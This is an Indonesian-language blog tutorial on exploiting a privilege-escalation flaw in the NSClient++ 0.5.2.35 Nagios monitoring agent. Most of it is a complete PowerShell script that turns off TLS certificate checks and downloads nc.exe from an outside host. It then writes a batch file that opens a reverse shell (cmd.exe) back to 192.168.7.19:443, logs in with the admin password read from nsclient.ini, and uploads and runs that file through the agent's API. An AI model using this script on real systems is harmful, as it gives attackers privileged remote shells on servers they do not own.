Nagios Agent atau NSClient memiliki kerentanan pada versi 0.5.2.35 dan exploitnya tersedia di exploitdb. Kerentanan ini akan menyebabkan user dapat menaikkan akses privilege nya menjadi admin. Berikut artikel nya.
Bagi kalangan IT Support Nagios adalah tools yang sangat sering dipakai untuk melakukan monitoring server. Selain karena gratis Nagios disupport oleh komunitas dan memiliki plugins dan script yang beragam. Hal ini akan memudahkan IT Support dalam melakukan tugasnya sehari-hari.
Nagios juga memiliki agent yang di-install di setiap server untuk memonitor pemakaian CPU, Memory dan HardDisk pada server tersebut dan akan melakukan alert apabila server tersebut mencapai threshold yang telah ditentukan IT Support.
Nagios Agent atau NSClient memiliki kerentanan pada versi 0.5.2.35 dan exploitnya tersedia di exploitdb,
https://www.exploit-db.com/exploits/46802
Pada expolit ini apabile penyerang bisa membaca password dari file nsclient.ini, maka NSClient dapat dimanfaatkan untuk mendapatkan privilege lebih tinggi atau setara admin.
Ada beberapa cara untuk melakukan exploit pada NSClient, bisa menggunakan browser atau dengan API request. Disini kami akan memberikan contoh exploitasi API pada NSClient dengan menggunakan powershell. Exploitasi NSClient API ini memiliki url "https://localhost:8443/api/v1/{quey yang diinginkan}".
Pada default instalasi, NSClient akan memakai koneksi HTTPS akan tetapi koneksi ini tidak trusted. Hal ini akan membuat powershell error ketika kita mencoba melakukan koneksi pada API. Berikut error nya :
PS C:\Users\IT Support> Invoke-RestMethod -Method Get -Uri "https://localhost:8443/api/v1/queries" -Headers @{Authorization = "Basic YWRtaW46TUQ5T2plRVVyVlBCUjZ0aw==" } -ContentType "application/json"
Invoke-RestMethod : The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel.
At line:1 char:1
+ Invoke-RestMethod -Method Get -Uri "https://localhost:8443/api/v1/que ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException
+ FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand
Error "Could not establish trust relationship" menandakan powershell hanya akan melakukan koneksi HTTPS apabila sertifikat dari web dapat dipercaya / trusted. Sayangnya Invoke-RestMethod tidak memiliki opsi untuk men-skip hal ini, kita harus membuat script agar session Powershell kita dapat menerima koneksi HTTPS yang tidak trusted. Berikut code nya :
#code agar powershell ignore ssl error selfsigned certificate
if (-not ([System.Management.Automation.PSTypeName]'ServerCertificateValidationCallback').Type)
{
$certCallback = @"
using System;
using System.Net;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
public class ServerCertificateValidationCallback
{
public static void Ignore()
{
if(ServicePointManager.ServerCertificateValidationCallback ==null)
{
ServicePointManager.ServerCertificateValidationCallback +=
delegate
(
Object obj,
X509Certificate certificate,
X509Chain chain,
SslPolicyErrors errors
)
{
return true;
};
}
}
}
"@
Add-Type $certCallback
}
[ServerCertificateValidationCallback]::Ignore()
Untuk mendapatkan reverse shell dari NSClient kita akan mengupload nc.exe dan membuat 1 buah file bat dan Url API yang akan kita gunakan untuk mendapatkan reverse shell adalah :
1. https://localhost:8443/api/v1/scripts/ext/scripts/{nama script}
2. https://localhost:8443/api/v1/queries/{nama script}/commands/execute?time=1m
Url pertama akan melakukan upload pada file bat yang telah kita buat dan Url kedua akan mengeksekusi file nya.
Berikut script lengkap yang bisa digunakan :
# code agar powershell ignore ssl error selfsigned certificate
if (-not ([System.Management.Automation.PSTypeName]'ServerCertificateValidationCallback').Type)
{
$certCallback = @"
using System;
using System.Net;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
public class ServerCertificateValidationCallback
{
public static void Ignore()
{
if(ServicePointManager.ServerCertificateValidationCallback ==null)
{
ServicePointManager.ServerCertificateValidationCallback +=
delegate
(
Object obj,
X509Certificate certificate,
X509Chain chain,
SslPolicyErrors errors
)
{
return true;
};
}
}
}
"@
Add-Type $certCallback
}
[ServerCertificateValidationCallback]::Ignore()
#end of code
#declare variable biar ga ketuker dibawah
$ws_nc = "http://192.168.7.19/nc.exe"
$bd_nc = "c:\temp\wew.exe"
$bd_value = "$bd_nc 192.168.7.19 443 -e cmd.exe"
$bd_name = "wew.bat"
$bd_path = "c:\temp"
$bd_file = "$bd_path\$bd_name"
$script_name = "wew"
#download nc ke folder temp
Invoke-WebRequest -Uri $ws_nc -OutFile $bd_nc
#buat file bat yang akan di upload
Set-Content $bd_file $bd_value
#auth nsclient dari nsclient.ini
$user = "admin"
$pass = "admin123"
$b64 = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $user,$pass)))
$b64_auth = "Basic $b64"
$up_uri = "https://localhost:8443/api/v1/scripts/ext/scripts/$bd_name"
$ex_uri = "https://localhost:8443/api/v1/queries/$script_name/commands/execute?time=1m"
#upload script wew.bat
Invoke-RestMethod -Method PUT -uri $up_uri -Headers @{ Authorization= $b64_auth } -Infile $bd_file
#execute wew.bat
Invoke-RestMethod -Method GET -uri $ex_uri -Headers @{ Authorization= $b64_auth }
Terimakasih telah membaca artikel ini